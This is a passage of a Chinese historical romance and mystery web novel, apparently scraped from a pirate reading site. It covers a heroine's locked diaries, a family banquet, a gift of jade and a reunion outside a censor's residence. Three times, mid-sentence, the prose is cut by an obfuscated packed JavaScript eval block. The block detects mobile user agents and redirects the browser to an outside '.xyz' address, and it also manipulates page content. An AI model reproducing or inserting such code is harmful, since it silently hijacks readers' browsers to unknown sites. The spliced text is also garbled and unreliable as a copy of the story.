而蝴蝶钗与蝴蝶锁样式相同,又分两股,很难不让人觉得巧合过了头。而事实证明,有时就是如此巧合。 叮当一声,锁落箱开。 就近的丫鬟探头看了一眼,不解道:“小姐,这是什么?” 柳眉妩也挑起了眉。 金箱之中,是一沓沓厚薄不一的笔记。 翻开扉页,右下处墨笔楷书,端端写着一个字—— 敏。 柳眉妩呼吸一滞。几乎是看到字的瞬间,脑中弦颤颤欲断,似有什么喷薄而出。很快,又转瞬即逝,难以捕捉。 她闭上眼,全然想不起来了。 “原来小姐把日记收在这里了,怪不得我怎么找都找不到,还以为落在碎叶没带过来呢。”小茶忽然说话。 柳眉妩翻开日记,颤抖着摊在小茶眼前,急急问她:“小茶,你看得懂对吗?上面写了什么?” 小茶却摇头,如实道:“小姐,我看不懂。之所以知道是日记,是因为以前总见小姐写,有时是睡前,有时是醒后,可紧要呢,一刻都不能耽搁,生怕忘了。可上面的内容,我看不懂,小姐也没告诉我。” 柳眉妩叹息。 日记满箱,文字满本,她却无从下手。即便勉强识得三两个字,前无来因,后无去果,又全是大片大片不熟识的方字圆线,不能成文,便不解其意。 “也罢,许是时候未到。”柳眉妩重新套上蝴蝶锁。 至于什么时候能到,其实她自己也不清楚。 * 午膳时分,柳眉妩去兼味厅陪叶茂用膳。将将跨过门槛,穿堂风吹乱鬓间卷发,她伸手勾住往耳后别,抬头看见叶茂坐在上位,正垂眼翻着手中笔记。纸张飞卷,流风往他广袖舒袍里钻,翻飞若惊鸿。 昨夜人多,二哥哥温润如玉,杨无名清贵如月,小十三冷硬如剑,她对叶茂印象不深。今日细瞧,眉目和煦,仙风道骨,倒真有几分天人之姿。 她突然就明白了。 难怪他常年在外不顾家,一心寻仙人采仙草炼仙丹,花夫人却宁愿独守空房,操持家里家外,不惜累坏了身子,也要对他不离不弃——皮相果真害人匪浅! 出神半晌,耳畔倏然听到叶茂朗声一笑,“娇儿来了,今日看着气色不错,石榴裙也明艳,衬得人格外有精神。” 柳眉妩迎风而来,没忍住咳了两声,待缓了气儿,先给叶茂请了安,才回道:“爹爹说的是,灵儿想明白了。本来身子就不好,若再穿素白寡净的裙衫,没有生气,更显病态愁容,倒不如穿些明艳活泼的,还能提提气色。况且,窗外春光正好,也当不负新衣。” “是这个理,你能想明白就最好了。”叶茂点头笑起来,又唤秋千,吩咐道,“找时间请云罗坊的绣娘上门一趟,给小姐再做几件新衣,鹅黄翠绿都行,别太朴素了。再给灵犀院里添些古董字画,家里没喜欢的就去外头置办,小小年纪,闺房太素净了总说不过去,没有人气,也显忌讳。” 秋千姑姑欣然应话,亲自扶了柳眉妩落座,这才吩咐桃红柳绿布膳。 叶茂想起一事,又道:“对了娇儿,秋千跟我说,你被选为四公主灵女,与有荣焉,觉得是一件幸事呢。” “幸不幸事不知道,不过是机缘巧合、阴差阳错罢了。逝者为大,又逢丧礼,我不至于一点面子不给。只是斯人已去,阴阳两隔,如今四公主入土为安,我也派人向胡郡守陈情,往后不会再顶此虚名了。” “你一向是个有想法的,尽管去做,爹爹在你身后呢。” “多谢爹爹。”柳眉妩喝茶润了喉,余光瞥到叶茂翻开的笔记,随口又问道,“爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268961|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹,你已经开始写成都笔记了么?” 叶茂默了半晌,怅然点头道:“故地重回,物是人非。” “我听小茶她们说,第七具新娘枯尸出现了。” 叶茂叹了口气,神色悲悯。 两天时间,柳眉妩拢共见了叶茂两次,两次都在他脸上见到这般神色。慈悲又怜悯,仿佛他不是闲散的商贾,而是得道的菩萨。 她不可避免地想到昨晚的易安堂,叶茂也是如此这般,手翻一本敦煌笔记,一会儿菩萨垂眉,一会儿金刚怒目,抑扬顿挫,音色铿锵,为他们讲述那段尘封多年的往事—— “十年前,神剑山庄一夜灭门,数百余人被屠杀,死状便和如今的新娘枯尸一般,血枯骨立,状如蝉蜕。有幸存者站出来指证,那场无妄人祸,其实是神剑山庄大弟子白术所为,凶器便是那把他自制的魔刀,鬼见愁。” 杨无名接过敦煌笔记,随口问道:“叶姨父,白术便是王不留行吗?” “是,也不是。”叶茂回他,颇有些故弄玄虚的意味,“那一夜,除了神剑山庄自己人,还有不少江湖门派的宾客遇害。他们本是应邀参加神剑山庄大小姐的婚礼,谁知大婚当夜,新郎入魔,酿成如此惨剧。 “而白术在屠杀神剑山庄后,和魔刀鬼见愁消失不见,一度杳无音信。因为灭门性质恶劣,朝廷和江湖双双下了通缉令,要缉拿人刀归案。谁知这时候,白术反而不躲不藏,换了身行头,改了个名字,又堂而皇之地和鬼见愁一起重现江湖,滥杀无辜。” 白御史了然颔首:“王不留行。” “不错,正是阎君有请,王不留行。”叶茂继续道,“王不留行本是一味圣药,善于行血,他冠了此名后,却用鬼见愁吸血杀人,并扬言自己承阎君之请,虽有王命,不能留其行。王不留行狂妄至此,藐视朝廷,挑衅江湖,最终在五年前被一众门派合力射杀,挫骨扬灰,方解了新仇旧恨而后快。” 杨无名扫过笔记上的寥寥数行,很快问出了重点:“那鬼见愁呢?” “疑点便在这里。当时各大门派射杀王不留行时,他身无长物,只守不攻,像是早就存了必死的决心。” 杨无名笑道:“叶姨父说得这般细致生动,倒真像是亲眼瞧见一样。” 叶茂也哈哈笑道:“那时我正在敦煌采仙草,有幸遇见,便看了一场热闹,这才写进了敦煌笔记里。名儿,不必怀疑我的笔记,我只纪实,从不杜撰。” “可若真如叶姨父所说,白术已死,那现在残害新娘,抛尸南山林的王不留行又是何人?” “这便是我回答你是也不是的原因了。五年前,王不留行被挫骨扬灰,江湖上确实消停了一段时日。可不久之后,又有人带着鬼见愁重现江湖,再度行凶,并留下绝命字样,阎君有请,王不留行,随后一次次逍遥法外。” “他是何人?” “他黑衣黑面,无人得以窥其真容。” 柳眉妩忽然道:“爹爹,我有疑问,五年前被挫骨扬灰的当真是白术吗?” 叶茂愣了愣,“娇儿,怎么突然这么问?那一日,幸存者亲手指证,白术也亲口承认,错不了的。” “可是,你们不是很快就将白术挫骨扬灰了吗?” 叶茂直直看她,“娇儿,你想说什么?” 柳眉妩轻轻笑着,淡声道:“爹爹,女儿曾听闻,江湖上有种秘法,叫易容术。” 她说完许久,正厅里依旧哑然无声,在场几人面面相觑,只有穿堂风吹动衣袍猎猎作响。 “不错,娇儿所说,并非全无道理。”还是叶茂咳了一声,打破沉默,“那具尸体既被挫骨扬灰,便也算死无对证了。事到如今,我们不知道五年前被挫骨扬灰的是不是白术,也不知道现在的王不留行是不是白术,唯一能确定的,只有那把魔刀。南山林中发现的新娘枯尸,血枯骨立,状如蝉蜕,伤口处是枯藤刀痕。而在世上,除了魔刀鬼见愁之外,再没有别的刀器这般凶残可怖了。” 柳眉妩陷入沉思。 恍惚听见秋千姑姑连声唤了她好几句,再回神,她愣愣转头看向叶茂。叶茂不怒不恼,温声笑着,耐心又重复了一遍。 “娇儿,杨府来了信,打算把你和咎儿的婚事先放放。你是怎么想的呢?” 7. 晚宴 柳眉妩自然求之不得。 到底是多事之春。四公主遇害案震惊朝野,新娘枯尸案悬而未决,一波未平一波又起,蜀郡上下免不得人心惶惶,议论纷纷。 父母之命也好,媒妁之言也罢,婚姻大事固然重要,但叶灵儿的人身安全才是一等一最重要的大事。便是杨府不来信,叶茂也会去信延期。 柳眉妩听他这么说,心里感动,哪里还有异议。想到爹爹,忍不住又掉了几滴泪,稀里糊涂就答应了和他一起赴宴。 直到马车起了又停,才恍然回过神来。 小茶掀起轿帘,抖开披风,“小姐,我们到了。” 她被搀着下了马车,抬头便看到一座金碧辉煌的府邸。不比浣花别业败絮其外金玉其中,杨府是实打实的恢宏大气,一眼望去,便是门口蹲的那对大石狮子也格外虎虎生威。 仆从引他们从中门进府,转过回廊,迎面走来一位姑姑,笑盈盈道:“玲珑问叶老爷好。这就是表小姐吧,一晃儿都这么大了,竟出落得这般标致了。” 叶茂让叶灵儿叫人,又与玲珑闲话几句,跟着仆从往前院去了。留待几人原地行礼,玲珑姑姑朝她笑眯了眼,“表小姐跟我走吧,夫人等你很久了。” 柳眉妩点头,跟着玲珑姑姑往后院走,穿堂过院,行了小半刻钟,才停在从心院外。院里的丫鬟见到她,争着打起帘子,朝里面喊道:“夫人,表小姐来了。” 话音刚落,窸窸窣窣一阵儿响,就见一群人从里屋迎了出来。为首的妇人约莫三四十岁,衣着精致,保养得当,气质高华。看见她了,竟热泪盈眶,又哭又笑,“像,和檀儿真像。” 柳眉妩只是乖顺地笑。 竹悠然递过帕子,钟夫人擦了一回泪,看向柳眉妩没忍住又哭了起来。众人又哄又劝,好半晌才止住。 钟夫人拉过柳眉妩的手,上下左右仔仔细细瞧了好一阵儿,才颇为爱怜地问道:“娇儿,身子可好些了?还有哪里不舒服吗?要不要再请薛大夫过来看看?” 柳眉妩摇头,“多谢夫人关心,我好多了。” 小茶补充道:“回夫人话,前几日薛大夫给小姐请了脉,说小姐脉象平和,已无大碍,只要照常调养休息,便能好全了。” “好,那就好啊。”钟夫人说着,又落了泪,不知是哭的还是笑的,“怎么叫我夫人?傻娇儿,你该叫我姨母,小时候我还抱过你呢。” 玲珑姑姑也笑起来,“夫人,这都多少年过去了,表小姐那会子才多大,哪里还记得什么。” “也是,那时候呀,你才四岁多一点点。”钟夫人听她软软唤一声姨母,笑着应了,牵起她就要往明间里走,“好了娇儿,别站在门口吹风了,到时候又要着凉。来,坐下陪姨母说说话。” “是。”她应声,脱了披风,挨着钟夫人坐下。 “我就说天山雪莲是有用的,你吃了之后,果然就醒了。我这里还有些昆仑雪菊,待会儿你再带些回去,早晚服用,总没坏处的。” 柳眉妩记得,她早晚服用的药里确实有一味雪莲。她也爱喝雪莲汤,因为不苦,不会吃了蜜饯还一口苦味。只是不知道,那天山雪莲竟是钟夫人送来的。 “谢谢姨母。” “你这孩子,跟姨母还客气什么。只是不巧,前阵子我刚好去万佛寺祈福,抽不开身,没能回来看看你。咎儿去了华阳谈生意,名儿和悠然也都有事要忙,一来二去,今日才得空把你接来说说话。” “我都理解的,姨母。” 钟夫人欣慰点头,擦了回泪,又问:“对了娇儿,肚子饿不饿?吃些点心吧。这些可都是正宗的长安风味,在成都其他地方吃不到哦。” 长安。 多么熟悉的地名。 柳眉妩才用过午膳,本来可吃可不吃,但听钟夫人这么一说,勾起些牵肠挂肚的心思,便忍不住夹了口樱桃饆饠尝尝。面皮松软,果馅新鲜,酥而不烂,甜而不腻,吃着竟像是六和坊的味道。 “怎么样,好吃吗?” 柳眉妩放下筷子,用绢帕掩着嘴,轻声道:“回姨母,好吃。” 钟夫人摸了摸她的脸,“娇儿,在姨母这里,就不用讲这些虚礼了,随意就好。” 见柳眉妩喜欢,钟夫人面上也欢喜,一连让玲珑姑姑端了好几碟点心饼食摆到她面前。古楼子,五色饼,玉露团,脂花餤,花折鹅糕,火焰盏口?……确实都是些正宗的长安风味。 “姨母,够了。” 钟夫人这才停手,面上仍有些意犹未尽,“娇儿,那你先吃,不够再说,姨母再让厨房去做。” “姨母好心,灵儿心领了。只是我才吃了不久,要是这会子吃多了,晚上就该吃不下了。” “说的也是,那你就每样尝尝,少吃些。要是有喜欢的,告诉姨母,姨母再让厨房做些,你带回去,消夜也好,零嘴也罢,慢慢吃。” 柳眉妩自然应好。 钟夫人见她乖巧模样,忍不住又湿了眼眶,哽咽问道:“娇儿,西域苦寒,你们这些年过得好吗?” * 酉时三刻,晚宴开席。柳眉妩闲聊完毕,跟着钟夫人姗姗来迟,其余人已早早到了膳厅。歌舞起,丫鬟们鱼贯而入,先上茶果点心,开了胃,才慢慢摆酒布菜。 正中上座空着,杨将军坐右上首座,叶茂与他相对而坐,再是钟夫人、杨无咎、杨无名、竹悠然。杨无名和竹悠然中间空了两座,下座本是柳眉妩,但钟夫人爱极了她,不愿放人,又命人在自己座旁添了软凳,柳眉妩只得和钟夫人同坐一处。 杨将军在歌舞声中爽朗大笑,向叶茂举杯相邀,“子林,十年未见,酒薄情浓,今晚和我畅饮通宵,不醉不归。” 说完,一饮而尽。 叶茂举杯回敬,“予安兄豪情壮志,茂却之不恭,只好奉陪到底了。” 钟夫人见他们推杯换盏,兴致高昂,心中也松快,转头向小辈们笑道:“今日家宴,你们随心所欲就好,不必拘束。” “是。” 一时间,几人纷纷举杯,唱和声和歌舞声连成一片,柳眉妩却还是清楚听到杨将军的爽朗笑声。 与爹爹温文尔雅的儒士气质不同,杨将军出身行伍,铁骨铮铮,驰骋沙场的历练为他添了沧桑,也添了豪爽。便是坐在高堂上,目如闪电,声如洪钟,气度也是不怒而威。 如此猛将,难怪皇上姨父委以重任,也难怪大哥哥经年不忘。 故而,即便杨将军解甲释权,自请还乡,朝中仍存了他的官职封赏,京中旧邸常年也有专人打扫,坊间甚至还传出了天策大将军世袭罔替的流言——而空穴来风,未必无因——这也是为何,柳眉妩继续称他“杨将军”的原因。 正出神,钟夫人忽然贴近她耳边,轻声道:“娇儿,那便是咎儿了。” 咎儿。 叶灵儿的未婚夫,将军府的大公子,杨无咎。 柳眉妩抬眼,目光在酒杯的遮掩下,不动声色地落到对面。男子端端而坐,青衫磊落,明明未着金银,通身上下却自有一派富贵气度。 柳眉妩无端想到叶茂。叶茂虽冠了双城首富的名号,却无心世俗,一心问道,故而看着不像商人更像道人。而杨无咎,很奇怪,一眼便让柳眉妩觉得,商人便当如他这般。他仿佛是个天生的商人,只为行商而生。 钟夫人含笑问她:“娇儿,如何?” 不知是热的还是燥的,柳眉妩垂下眉眼,薄面飞红,半晌答不出话。好在钟夫人只是看她一眼,一笑而过,没再追问。 她便继续喝桃苓汤。 这倒并非她挑食,不吃别的。平心而论,今晚的家宴将军府是用了心的,荤素汤水麻辣爽口,又不至于辣得她难以下咽。只是方才她在从心院没忍住,吃了不少茶点,这会子还没消食,实在是有心无力。 钟夫人明白她的难处,贴心地为她盛了碗桃苓汤,让她慢慢喝着,等筵席散场。 月上枝头,歌舞暂歇,杨将军和叶茂还在对酒高歌,慷慨激昂,当真是拿出了不醉不归的架势。 忽听门口传来一声通报,“白御史到。” 众人连忙起身行礼,柳眉妩余光瞥见鹤白长袍施施然落座上位,随即便听到白御史温润的嗓音响起,“无需多礼。郡中公事繁忙,所以来的晚了,本官自罚一杯。” 那样玉琢般的人,玉冠玉面,玉扇玉杯,整个人如玉山上行,光映照人,一如记忆。柳眉妩眼中浮起热意,随众人举杯回敬,垂眼一饮而尽。 后知后觉,另一处空位也坐了人。 金带红袍,白面墨眼,分明是意气风发的少年模样,看着却神色恹恹,仿佛对什么都不感兴趣。歌儿倒酒他不喝,舞女夹菜他不吃,就连满堂喝彩的巴渝舞,他也懒得掀起眼皮。 大抵是柳眉妩的目光太热切,宝儿似有所感,抬头看了她一眼,懒洋洋的,漫不经心,像午后酣睡难醒的猫。 柳眉妩忍不住弯了眉眼,想笑,缓缓张嘴,又伸出手,半掩着打了个呵欠。 确实有些困了。 宝儿:“……” 宝儿瞪了她一眼,别开视线。 柳眉妩便笑得更欢了。 酒过三巡,歌舞半歇,气氛渐自冷凝。竹悠然忽然提剑起身,向高位行礼道:“悠然斗胆,献一曲剑舞助兴。” 白御史似乎有些意外,却也没拒绝,笑着应了。柳眉妩闻言,也来了兴致,不自觉坐直了身子,目光炯炯地看着竹悠然。 下一刹,丝弦声起,她剑出如云,流风回雪,如烟似雾。裙摆在旋转中飘飖,好似山茶花次第盛放,弯腰又回身,她立得笔直,又像一株不屈不挠的修竹。柳眉妩想,她果真人如其名,如风如竹,自在悠然。 恍惚间,竟看到以前的自己。 抓周试晬时,她不抓琴棋书画,不抓胭脂水粉,不抓金玉珠宝,独独抓着二哥哥的佩剑穗子不愿撒手,咯咯直笑。 娘亲初时并不在意,觉得高门相府里娇养出来的四公主,断没有轻易弃文从武的道理。且她抓阄取名时,在一众闺名中独独抓了“眉妩”二字,柔媚有余,雅正却不足。但因是家中幺儿,娇养些也无妨,久而久之,又为她取了小名娇娇儿。 谁知,事与愿违。 她自小便不爱舞文弄墨,琴棋书画也只是略知,不曾精通。开蒙后,爹爹为她寻来长安第一剑客,此后她便成了相府中的一股清流——文墨不精,却谓剑痴。 大哥哥及冠封后的那日家宴,她们姐妹四人轮番上台表演。大姐姐弹琴,二姐姐写诗,三姐姐作画,独独她,舞剑。提剑入宫殿,谢恩便拔剑,若不是她的身份摆在那儿,侍卫们早将她反手拿下了。 她舞剑时,招式大开大合,行云流水,就连大哥哥也抚手赞叹:“来如雷霆收震怒,罢如江海凝清光,不过如此了。” 思绪慢慢回笼,柳眉妩不动声色垂下眼睫,为自己倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268962|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了杯酒。再抬眼,见竹悠然甩手利落挽了个剑花,曲终回剑,翩若惊鸿,举杯一饮而尽。 喉咙壁又热又痒,忍不住咳了几声。 钟夫人拍着她的背,轻声道:“娇儿,喝慢些。” 她摇摇头,本想示意自己没事,咳声却没止住,反而越咳越凶,直咳得眼红脸热,瞬间有些狼狈。 她背过身,弯腰低头捂住口鼻,本想忍着不咳那么大声,却没忍住咳了满手的泪。 待咳声止住,她似有所感,缓缓抬头,却见杨无名正垂目夹菜,似乎没注意到自己。她恍然后知后觉,自己为了避开钟夫人背过的身,却刚好面对着杨无名。 * 柳眉妩大抵应该是醉了。 酒阑灯炧,歌舞退场,等到上座几位终于有了消停的心思,被仆从丫鬟搀扶着踉跄起身时,已是月到中天。 柳眉妩婉拒了钟夫人的留宿,目光紧跟着门口的人影,却有些聚焦不了,总是瞧到旁人身上。 钟夫人无奈叹气,“娇儿醉得厉害,又不愿留宿,要和爹爹回去。咎儿,你送送她吧。” 杨无咎应是,和小茶一左一右搀着她出门,只觉得搀了个无骨陀螺,一忽儿倒向这边,一忽儿又倒向另一边。 “灵儿表妹。” 柳眉妩歪七扭八地立定,身子朝向小茶,脑袋却转过去看他,眼中有些不解,“大表哥,怎么了?” 深夜的风有些凉,流入二人袖中,吹得他衣袍猎响,而她身上的春衫却如蝶翼舒展,悄然无声。 杨无咎伸手想扶正柳眉妩身子,结果身子正了,脑袋又歪向了小茶。杨无咎哭笑不得,只好一手扶着脑袋,一手将她身子摆正,才问道:“你冷不冷?” “我不冷。”柳眉妩摇了摇头,动作大了险些没站稳,好在杨无咎伸手扶了一把,才将将立定,“只是想加衣服,所以有点冷。” 小茶得令,快步跑回马车拿披风。 杨无咎虚扶着人,站在前面挡风,见她皱眉扶额,语气有些担忧,“怎么了灵儿,头很痛吗?” “没有很痛。”柳眉妩一本正经地摇头,“我要开花了,所以头才痛。” 杨无咎失笑,“灵儿,你醉了。” “我没醉。我只是喝多了,所以有点醉。” 杨无咎听她颠七倒八地解释,目光柔和,笑意渐自流转。半晌想起什么,低头往怀里一掏,带着温热体温,放到她手心,“灵儿,这个给你。” 柳眉妩目光放空,似乎在看杨无咎,又似乎掠过杨无咎,看向他身后。一阵风过,吹得她七倒八歪,再站稳,那抹红袍早已消散在风中。 * 杨无咎把柳眉妩送上马车时,叶茂已在车中闭眼睡着了。她向杨无咎挥手再见,轻轻放下车帘,忽然听到叶茂的声音在身后响起,“咎儿送的?” 柳眉妩转头。 叶茂靠着车厢壁,一会儿看她,一会儿又看向她腰间的勾玉。眼底清明如水,哪里还有半分醉意。 柳眉妩点了点头,没由来觉得头有些重,“爹爹,大表哥怎么还记得我?” 不仅记得,久别重逢,还送她如此贵重的礼物。 勾玉入手温润,映着明月清光,一如杨无咎望着她笑时,两眼弯如月牙儿。柳眉妩借着半窗月色,眯眼看清勾玉尾端刻着的小字。 杨无咎说:“灵儿,这块玉是专程为你准备的,希望你喜欢。日后,你拿着它去成都所有的杨氏铺子,见玉如见人,掌柜的都认得,就会把账记在我的本上。” 并非她少见多怪。 长安玩玉,多用蓝田玉或南阳玉,碧水新冰最是司空见惯,地方郡县亦多效仿,无甚稀奇。而杨无咎送她的勾玉,却是西域昆山一等一罕见的羊脂白玉,如酥如雪,温润而泽。 显然是花了一番心思的。 千推万辞,婉拒无果,只好收下。 叶茂将她歪歪扭扭的坐姿调正,又理了理皱巴巴的披风,“你离开成都时还小,不过四岁多,许多事情自然记不清楚了。咎儿那时候,快十岁了吧,记事便牢固些。” “那二表哥呢?” 叶茂想了想,“我记得,名儿那时候,也还在将军府,没去红袖山,应该还不到七岁。” “爹爹,你没醉呀?”柳眉妩捧着脸,痴痴地看着叶茂笑。 他的眼睛生得十分好看。桃花眼,含情目,瞳仁泛出浅棕色光泽,清明如水又深不见底,很聪明的样子。 叶茂伸手,摸了摸她的头,半真半假地笑道:“娇儿,爹爹可是千杯不醉的酒中仙。” “哇!爹爹真厉害呀。”柳眉妩头晕,一阵天旋地转,便顺势倒在他怀里,闻到清苦的草木香气,细声吟道,“天子呼来不上船,自称臣是酒中仙。” “李白能诗复能酒,我今百杯复千首。我愧虽无李白才,料应月不嫌我丑。我也不登天子船,我也不上长安眠。世人笑我忒疯颠,我咲世人看不穿。” 柳眉妩半仰着头,定定看他,“要是看得穿呢?” “娇儿醉了。”叶茂没有回答,只是轻笑了一声,一下下拍着她的后背,缓缓闭目,似乎也有些醉了。 柳眉妩仿佛听到爹爹说她“娇娇儿醉了”,又仿佛没有,她想睁眼仔细看看,眼皮却越来越重,眼前人也越来越模糊。 她急出了泪花儿,声音却细微如呢喃,“爹爹,娇娇儿以后再也不惹祸了,你不要离开,好不好。” 8. 相认(一) 宿醉醒来,已是第二日午时。 叶茂不在家,柳眉妩在灵犀院用过午膳,长日无事,坐在秋千架上看云消食,小茶为她打秋千。不远处的桃树下,丫鬟们迎风放纸鸢,一派欢声笑语。 她抓着两边藤索,秋千将她高高抛起,扬起的裙摆像一朵硕大秾艳的石榴花,遮住了天边流云,落下时,又是满目天穹明净。 她便也笑起来,笑音泠泠脆脆,被风吹得又清又远,直上九天。 如此片刻,竟出了身薄薄的汗。 小茶见她气喘吁吁,渐渐放缓速度,从怀里掏出帕子为她擦汗。待顺了气儿,又抱来氅衣披在身上。 春日午后,风也温柔,斑驳的光影在秋千架下轻轻摇动,墙外偶尔传来一两声鸟叫,更显庭院清幽。丫鬟们识趣,早早儿收了纸鸢去后山玩,留待柳眉妩犯起春困,靠在秋千架上昏昏欲睡。 不知睡了多久,迷迷糊糊听到一阵脚步声急促行来,停下时,在自己眼前投下大片阴影。 “小姐,白御史回府了。” 柳眉妩当即醒了睡意,蹭一下站起身来,“小茶,我出去一趟。” “小茶帮小姐换衣裳。” 柳眉妩摆手,“不用,这身挺好看的。” “小茶帮小姐备轿。” 柳眉妩摇头,“也不用,我就随便逛逛。” “那小姐带小茶一起去吗?” 柳眉妩捏了捏小茶的脸,“下次一定。” 小茶不情不愿“哦”了一声,被柳眉妩捏得嘴巴嘟嘟,脸颊鼓鼓,像只河豚。 柳眉妩被她逗笑,忍不住哄道:“小河豚,回来给你带糖葫芦。” 小茶闷声应好。 别过小茶,柳眉妩撑伞出了别业,沿着浣花溪畔缓步慢行。阳气聚拢在天边,柳丝儿低垂,山盈盈,水粼粼,山水铺展如画,入目皆青绿。越往北,越多人烟,过了江桥门,再过小南门,不到半个时辰便进了城。 柳眉妩初来乍到,对成都不熟,但御史府便是不熟也能问到路。只是没想到,一群人浩浩荡荡望不到头,竟全是去找二哥哥的。 “大娘,我不去公廨,我去御史府。” “不是去御史府,是去公廨。”大娘解释道,“白御史今儿一早贴了告示,全郡百姓有何冤屈,无论大小,只管去公廨登记,一月后统一堂审。” “这样啊。”柳眉妩了然,“但我没有冤屈,我找人,必须去御史府。” 大娘停住话头,上下打量了她一番。罗裙崭新,氅衣华贵,幂篱轻薄,珠钗精致,每样单拎出来都价值不菲,不知能换多少白面馒头,能裁多少年布冬衣。也难怪,这样不食人间烟火的大小姐,十指不沾阳春水,又怎么会有冤屈? 大娘讪讪笑了笑,为她指了路,快步回到人群里。 柳眉妩的道谢还没说出口,转头只见一个背影匆匆远去,汇入成十上百的背影中,层层叠叠,似一堵巍峨辽阔的墙。 墙的那头,是刚从地里插完秧来不及穿鞋的农夫,是日夜养蚕缫丝却没有新衣穿的绣娘,是脊背弯曲手掌皲裂的工匠,是起早贪黑却入不敷出的商贩,是衣衫朴素风骨清直的书生,是啼哭不休却找不到父母的小孩。 柳眉妩的心绪忽然有些沉重。 长安太繁华了。富贵迷人眼,她也晕了头,所以理所应当地认为,普天下全是如此。今日这般情形,印象中只在幼年饥荒时见过,不成想经年后,竟还在蜀地上演。 她又有些欣慰。 好在,二哥哥来了。官家堂审,妖魔现行,百姓有冤可诉,有屈可解。如石投水,再浑浊的死水一旦有了涟漪,便有了生机,假以时日,总会有清澈明朗的时候。 * 行到御史府,守门的小厮为她指路,“姑娘,公廨直走右拐。” 柳眉妩摇头,“我不去公廨,我找人。” “找人也直走右拐。” 柳眉妩还是摇头,“麻烦通传白御史,就说门外有人,来找二哥哥。” 小厮面面相觑,又看向她。石榴裙,孔雀氅,虽遮了幂篱,看不清样貌,却也知道是位大户人家的小姐。他们犹豫半晌,不敢耽搁,终究还是照做了。 柳眉妩撑着伞,亭亭等在门外,半盏茶后,果真等来一位故人。 少年穿着葡萄紫暗纹圆领袍,沿领掐一道玄色织金云纹边,腰间束一条提花绿蹀躞带,金丝缠枝纹锦带高耸,马尾便也扎得高高的。一阵风从长街灌来,少年额前碎发飘动,与身后的发带遥遥呼应。 “你找二哥哥?” 他在柳眉妩面前站定,携了两袖鹅香,看她时瞳仁漆黑,在阳光下闪着细碎的光。 柳眉妩闻着熟悉的香,霎时弯了眉眼,笑盈盈道:“不一定,找你也行。” 宝儿眉头皱起,哼一声,转头就走。 “你怎么不让我拦着?” “不用拦,宝公子不想见,会把她丢出来的。” “何必麻烦宝公子动手,我顺手的事。” “……显着你了。” 柳眉妩提裙小跑跟上,不理会身后小厮你一言我一语的议论,只管探出脑袋笑着看他,“宝公子慢些走,我们还可以多说说话。” “谁要和你多说说话。” 柳眉妩语气讶然,“你不想和我多说说话,那你来见我做什么?” “白御史走不开,让我来接你过去。”宝儿停下步子解释完,转头定定看她,神色认真,又似乎有些疑惑,“叶小姐,你认识我吗?” 他的眼珠极黑,又极亮,粼粼有光,好似漫天光华倾泻其中,又一瞬炸开。柳眉妩透过他的眼睛,看到高悬天穹的红日光点,也看到自己的身影。 红日很小,而她近在咫尺。 “认识。”她听到自己缓缓笑起来,鼻头却隐隐泛出酸意,“何止认识,我只要一见到你,就心生欢喜,欢喜得不得了。” “抱歉……”宝儿面上闪过一瞬即逝的僵愣,退了半步,默然良久,才继续道,“我已心有所属,非卿不娶。” 柳眉妩霎时红了眼眶。 “叶小姐很好,不论之后会不会遇得一心人,你的前路都会越来越好。”宝儿笑着说,言辞恳切,“所以,往前走吧,不要回头。” 泪,簌簌落了下来。 宝儿继续道:“前世依稀,旧梦迷离,幻境中不辨真假,一刹便以为是一生。如今想来,无论是前世还是旧梦,全都是虚妄,转瞬即逝,不留痕迹,只有珍惜当下才是真的。” 柳眉妩抬手揉了揉眼,眼圈儿泛红,又涩又痒,被风迷得几乎睁不开。好不容易睁开,冷不丁看到宝儿哭成泪人模样,又惊又讶,再一回想他说的话,恍然大悟。 “所以,宗宝儿,你真和叶灵儿认识啊?” 宝儿愣愣看她,呼吸滞了一息,泪珠儿似乎也静止了,凝在睫上欲坠不坠。 “怎么不说话?”柳眉妩轻笑一声,缓步逼近,明明矮了宝儿一个头,却昂首挺胸,颇有几分令人摧眉折腰的气势,“方才不是还喋喋不休,巧舌如簧的吗?” 宝儿低下头看她,泪珠儿摇摇晃晃,落在衣襟处,洇出一团深墨色水渍。下一瞬,耳朵被一阵熟悉的力道揪住,不待身体反应,口中已呲牙咧嘴地喊起疼来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268963|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “娇娇儿,轻些。” * 白御史在东花厅议事,宝儿如是说。 柳眉妩脚下跟着宝儿穿廊过院,面上却无表情,急得宝儿在一旁作揖不迭,口中“娇娇儿”喊个不停,千哄万哄,指天指地,连声发誓说自己和叶灵儿绝无关系。 柳眉妩八风不动。 花厅临水,小窗洞开,远远看见岸上清厦旷朗,人影绰绰,柳眉妩形随意动,步子不自觉快了几分。 